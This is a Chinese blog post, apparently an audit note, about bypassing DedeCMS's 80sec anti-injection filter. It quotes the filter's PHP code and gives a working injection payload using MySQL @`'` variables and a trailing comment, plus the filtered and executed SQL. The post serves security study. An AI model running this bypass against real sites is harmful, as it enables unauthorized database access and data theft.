关于某源码实战80sec防注入绕过
前言:自己在看一套dede的二开源码的时候记录下
参考文章:https://blog.csdn.net/wswokao/article/details/80792139
参考文章:https://www.uedbox.com/post/19828/
知识点:
在Mysql当中,定义变量用@字符,可以用set @a='abc'
,来为变量赋值,然后通过select @a
来进行取值
通过上面的了解,可以直接定义一个空值的变量出来,比如 @``,结果如下:
80sec中绕过的利用
80Ssec过滤代码:
while (true) { $pos = strpos($db_string, '\'', $pos + 1); // 检测单引号 ' if ($pos === false) //如果不存在单引号则直接跳出 { break; } $clean .= substr($db_string, $old_pos, $pos - $old_pos); while (true) { $pos1 = strpos($db_string, '\'', $pos + 1); $pos2 = strpos($db_string, '\\', $pos + 1); if ($pos1 === false) { break; } elseif ($pos2 == false || $pos2 > $pos1) { $pos = $pos1; break; } $pos = $pos2 + 1; } $clean .= '$s$'; $old_pos = $pos + 1; } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
这里为了合法的构造出一个单引号,目的是为了让sql正确,我们可以用 @`'` 放入sql语句当中,帮助我们绕过防注入程序检查,这两个也可以进行使用:@`'`@,"`'`"
在审计的时候遇到一个整形的注入点,该如何绕过(gpc开启的状态下,其实这里开不开都无所谓,因为dede中自己也会进行对应的处理的)?如下的代码可以知道,当被两边单引号包裹的地方会被替换为$s$
注入绕过语句:1 or @`'` and (select length(database())=11)#'
过滤处理后的语句:select XXXX from XX_station_letters where id = 1 or @`\$s$ order by createdtime desc
最后执行的语句:SELECT XXXX FROM XX_station_letters where id = 1 or @`'` and (select length(database())=11)
@`'`和 #' 来配合包裹对中间的语句作为$s$
处理直接绕过了80sec注入,然后右边又是一个注释符过滤了单引号,酒馆师傅还是强!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY